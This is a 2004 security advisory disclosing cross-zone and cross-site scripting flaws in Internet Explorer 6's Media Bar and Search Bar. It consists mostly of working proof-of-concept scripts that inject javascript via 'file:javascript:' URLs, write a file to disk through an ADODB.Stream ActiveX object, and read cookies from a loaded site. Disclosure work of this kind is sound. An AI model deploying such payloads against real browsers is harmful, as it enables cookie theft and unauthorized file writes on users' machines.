########################################################################
#

Advisory Name : Internet Explorer Cross Zone/Site Scripting Vulnerability

Release Date : Mar 3,2004

Application : Microsoft Internet Explorer

Tested On : MS-IE 6.0(sp1)

Vendor URL : http://www.microsoft.com/ie

Author : Cheng Peng Su(apple_soup_at_msn.com)

########################################################################
#

[Proof of Concept]

The code below is used for loading a URL into the HTML content area of the Media Bar

window.open("http://www.google.com/","_media")

And javascript also can be injected:

window.open("javascript:alert(location.href)","_media")

in my computer,the code above will show me a MsgBox says

'res://C:\WINDOWS\SYSTEM\BROWSELC.DLL/mbLoading.htm'

it suggests you that it's executed in My Computer Zone.

We can also inject a code to the Media Bar which has connected to a website.

As Media Bar ,Search Bar has the same vuln.

[Exploit]

!YOU CAN FIND THE DOCUMENT AT

!http://www.freewebs.com/applesoup/CrossBar/document.txt

The code will use 'file:javascript:[script]' vuln which posted months ago.Maybe Microsoft

has noticed the leak here,so i can't only use javascript-protocol in the code, and script-tag

is filtered out ,so i have to inject the script into img-tag.

I. In Media Bar

1 . Cross Zone Scripting Exploit

---------------------------CrossZone.htm---------------------------

<script>

// '\\42' -> '\42' -> ' " '

img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'

+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'

+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_media');

</script>

-------------------------------End---------------------------------

2 . Cross Site Scripting Exploit

---------------------------CrossSite.htm---------------------------

<script>

window.open("http://www.google.com/","_media")

setTimeout(function(){

window.open("file:javascript:alert(document.cookie);","_media")

},5000);

</script>

-------------------------------End---------------------------------

II. In Search Bar

1 . Cross Zone Scripting Exploit

---------------------------CrossZone.htm---------------------------

<script>

window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page

// cause it's in My Computer Zone.

setTimeout(function(){

// '\\42' -> '\42' -> ' " '

img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'

+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'

+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_search');

},5000);

</script>

-------------------------------End---------------------------------

2 . Cross Site Scripting Exploit

---------------------------CrossSite.htm---------------------------

<script>

window.open("http://www.google.com/","_search")

setTimeout(function(){

window.open("file:javascript:alert(document.cookie);","_search")

},5000);

</script>

-------------------------------End---------------------------------

[Demo]

Harmless demo:

http://www.freewebs.com/applesoup/CrossBar/CrossSiteMB.htm

http://www.freewebs.com/applesoup/CrossBar/CrossZoneMB.htm

http://www.freewebs.com/applesoup/CrossBar/CrossSiteSB.htm

http://www.freewebs.com/applesoup/CrossBar/CrossZoneSB.htm

[Contact]

Cheng Peng Su

Class 1,Senior 2,high school attached to Wuhan University

Wuhan,Hubei,China(430072)

apple_soup_at_msn.com

[ reply ]